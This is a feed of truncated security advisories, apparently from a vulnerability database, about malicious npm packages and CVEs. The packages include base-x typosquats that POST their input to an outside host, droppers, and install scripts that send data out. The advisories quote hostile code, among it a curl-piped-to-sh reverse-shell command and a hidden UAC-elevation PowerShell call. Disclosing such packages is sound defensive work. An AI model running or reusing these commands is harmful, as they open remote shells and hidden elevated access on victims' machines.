Malicious code in @bikli/cli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 494fd55b20aca27d1d7353454574b7575074d84eee1367b6854c159f274c4dcc No a static rule matches and no traced behavioral findings were produced for this package version. The scanned files contain no evidence of...

Malicious code in bikliwrapper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 7404df615e8b246acda595b16f7282cea11addcf7a3d3148c1463a65b4d25852 bikliwrapper's npm postinstall script re-executes itself with UAC elevation Start-Process -Verb RunAs -WindowStyle Hidden and, after the single UAC...

MAL-2026-13778 Malicious code in @bikli/bikli (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 47a9677012577b19f49cd85cc6455abea3b1363e77a54030901ecf916b04c50b No static or traced indicators of supply-chain attack behavior were observed in this package version. No lifecycle scripts fetching or executing remo...

MAL-2026-13787 Malicious code in biklirouter (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector aa35b0b8fe046a8dd43a4307742214223c3f908b5ba65fa6d24dae18b33cff9b Package ships a compiled Next.js application server routes under app/.next-cli-build/server/app/api/ implementing an LLM/AI-provider router: OAuth...

PT-2026-71109

Name of the Vulnerable Software and Affected Versions The product name cannot be determined affected versions not specified Description A repository publisher who lacks delete permissions may be able to modify protected package content under specific conditions, specifically by overwriting docker...

Malicious code in cc-skills-helper (npm)

The npm package cc-skills-helper is a Windows-only supply-chain dropper published as seven versions 1.0.0 through 1.0.6 in a single 8-hour burst on 2026-04-25 by npm user betatester44676 [email protected], then abandoned. dist-tags.latest points at 1.0.6. All seven versions share the same...

MAL-2026-13933 Malicious code in cc-skills-helper (npm)

The npm package cc-skills-helper is a Windows-only supply-chain dropper published as seven versions 1.0.0 through 1.0.6 in a single 8-hour burst on 2026-04-25 by npm user betatester44676 [email protected], then abandoned. dist-tags.latest points at 1.0.6. All seven versions share the same...

Linux Distros Unpatched Vulnerability : CVE-2026-73089

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - Browserslist is a configuration tool for sharing target browsers and Node.js versions between front-end tools. Prior to 4.28.7, index.js retains every distinct...

Malicious code in internallib_v164 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ea0eaa858b83bda14f7093d473013b1fbc1301d8f1401a837e67b2a8850d86 index.js exports a function that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh", fetching a reverse-shell script from...

MAL-2026-13764 Malicious code in internallib_v164 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ea0eaa858b83bda14f7093d473013b1fbc1301d8f1401a837e67b2a8850d86 index.js exports a function that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh", fetching a reverse-shell script from...

@depup/artillery (>=2.0.33-depup.28, <=2.0.33-depup.50), @eduzz/e2e-playwright-base (0.4.0) +81 more potentially affected by CVE-2026-73231 via @faker-js/faker (>=10.0.0, <=10.4.0)

@faker-js/faker NPM version =10.0.0, =2.0.33-depup.28, =1.0.0-rc.1, =3.22.0-next.38, =9.0.0-next.68, =19.8.4, =1.0.7, =3.1.2, =0.2.9, =0.4.7, =0.2.12, =1.0.5, =0.2.10, =0.3.2, =0.3.6 and more Source cves: CVE-2026-73231 Source advisory: SNYK:JS-FAKERJSFAKER-18674671...

bs58-33 (6.0.1) potentially affected by unknown CVE via base65-33x (5.0.2)

base65-33x NPM version 5.0.2 is affected by a known vulnerability. The following packages have a transitive dependency on base65-33x and may be impacted: - bs58-33 6.0.1 Source cves: unknown CVE Source advisory: SNYK:JS-BASE6533X-18616644...

bs58-77 (6.0.1) potentially affected by unknown CVE via base65-77x (5.0.2)

base65-77x NPM version 5.0.2 is affected by a known vulnerability. The following packages have a transitive dependency on base65-77x and may be impacted: - bs58-77 6.0.1 Source cves: unknown CVE Source advisory: SNYK:JS-BASE6577X-18616641...

bs58-15 (6.0.1) potentially affected by unknown CVE via base65-15x (5.0.2)

base65-15x NPM version 5.0.2 is affected by a known vulnerability. The following packages have a transitive dependency on base65-15x and may be impacted: - bs58-15 6.0.1 Source cves: unknown CVE Source advisory: SNYK:JS-BASE6515X-18616640...

Malicious code in @dgn-src-click-to-pay-org/srcdcfreleasecert (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2284b9966871244eb99dd61230f6b17e6b2fb315484fb2b3048c51a780820a1f The package's postinstall script POSTs installer metadata package name/version, platform, arch, Node version, timestamp over plain HTTP to a hardcode...

MAL-2026-13744 Malicious code in @dgn-src-click-to-pay-org/srcdcfreleasecert (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2284b9966871244eb99dd61230f6b17e6b2fb315484fb2b3048c51a780820a1f The package's postinstall script POSTs installer metadata package name/version, platform, arch, Node version, timestamp over plain HTTP to a hardcode...

bs58-77 (6.0.1) potentially affected by unknown CVE via base65-77x (5.0.2)

base65-77x NPM version 5.0.2 is affected by a known vulnerability. The following packages have a transitive dependency on base65-77x and may be impacted: - bs58-77 6.0.1 Source cves: unknown CVE Source advisory: OSV:MAL-2026-13750...

bs58-33 (6.0.1) potentially affected by unknown CVE via base65-33x (5.0.2)

base65-33x NPM version 5.0.2 is affected by a known vulnerability. The following packages have a transitive dependency on base65-33x and may be impacted: - bs58-33 6.0.1 Source cves: unknown CVE Source advisory: OSV:MAL-2026-13749...

MAL-2026-13749 Malicious code in base65-33x (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f4e22e29bf42b32b80c5336d5f38d10d96879c84f162d86565289b588253589b Package name resembles the popular base-x encoder/decoder. The exported decodestring function in both CJS and ESM entrypoints POSTs its caller-suppli...

Malicious code in base65-15x (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 00fcb69b2f5c7e64ede8df36e3865dad82632ef076c6c2974b568727ec046062 base65-15x is a typosquat of the base-x package. Its decode function does not perform base decoding; instead it POSTs the caller-supplied string...